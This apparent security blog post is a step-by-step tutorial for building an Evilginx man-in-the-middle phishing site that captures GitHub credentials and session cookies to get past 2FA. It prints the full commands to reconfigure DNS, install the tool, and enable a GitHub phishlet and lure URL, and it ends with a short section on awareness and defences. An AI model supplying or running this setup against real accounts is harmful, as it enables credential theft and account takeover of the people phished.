Phishing 101: Bypassing 2FA like a pro
One of the most common techniques used by hackers is phishing, which involves tricking people into giving away their personal information through seemingly legitimate communication. In fact, most successful cyberattacks start with phishing.
In this article we’ll showcase how we can setup a whole phishing environment, and demonstrate how easy it is for a motivated attacker to bypass the most common security controls, such as MFA.
Man In The Middle (MITM) toolkits allow an attacker to steal credentials and session cookies by sitting between the victim and the real website they believe they are accessing. It mimics the real service and forwards the victim’s traffic to the website, but not without capturing everything in between, effectively bypassing MFA. The schema below, from Malwarebytes, illustrates it.
There are a few MITM toolkits out there (see the reference section at the end of the article), but one of the most popular is Evilginx. This is what we will use for our experiment.
To set Evilginx up, we need 3 things:
- A machine to run the tool. Any machine that can have ports 80, 443 and UDP 53 open and exposed to the internet can do. We will use an EC2 instance on AWS, but other cloud providers or on prem servers should do as well.
- A domain name, and the ability to create subdomains.
- The tool itself, which is already provided as a binary file.
Installation and Configuration
Since evilginx runs its own HTTP(S) and DNS server, we need to make sure to shut down anything that would already be running on the associated ports on our machine. Especially, (re)configuring our DNS. This can be simply done by stopping the DNS service and overwriting the configuration, as shown below.
systemctl disable systemd-resolved systemctl stop systemd-resolved rm /etc/resolv.conf echo 'nameserver 18.104.22.168' > /etc/resolv.conf
We are now ready to install the tool. Since the binary is already provided, this is straightforward. However, remember to download the latest version.
wget https://github.com/kgretzky/evilginx2/releases/download/2.4.0/evilginx-linux-amd64.tar.gz tar zxvf evilginx-linux-amd64.tar.gz cd evilginx chmod 700 ./install.sh sudo ./install.sh sudo evilginx
Next thing on our list is the evilginx configuration. To run the tool, we need to provide the public IP of our machine and the domain we intend to use.
config ip <your_public_ip> config domain <your_domain>
For the final part, we require some DNS entries. The DNS entries we need depend on the website we would like to use for phishing. In our case, we will use GitHub, which requires subdomain entries for
github.<domain>. As DNS changes can take time to propagate, this website can help track the propagation progress.
Once we have setup our subdomain entries, we can turn on the phishing template, called ‘phishlet’, for GitHub.
phishlets hostname github <your_domain> phishlets enable github lures create github lures edit 0 redirect_url https://github.com lures get-url 0
The last command,
lures get-url 0 will give us the URL of the fake phishing website that will be used to gather our victim’s credentials. Now all we need is to convince a victim to click on the link and input their credentials to hijack their GitHub account.
In the demonstration below, we showcase the result of our configuration by mimicking a victim that clicked on our malicious link and submitted their credentials.
With what we have seen, we can legitimately wonder if 2FA really helps protect our accounts. The truth is, it’s not a foolproof method, as demonstrated. So what can we do?
The most efficient method is probably education. Cybercriminals always come up with new and innovative ways to trick and fool us. Therefore there is no silver bullets, or definitive list of indicators to look for and be certain that we are not getting tricked. Using common sense and being aware of the risks already goes a long way
Even though we just saw 2FA is not infallible, it is still one of the best technical protections that we can use today. It does indeed provide an additional layer of security, essentially protecting against non-MITM attacks where attackers only get access to their victim’s password.
Moreover, there are a lot of precautions implemented at a level that is usually transparent for the end user: spam filters email gateways, content scanning, domain blacklisting and so on. As a matter of fact, the domain I used to perform the demonstration above got flagged as malicious within 48h of its usage for “malicious” purposes.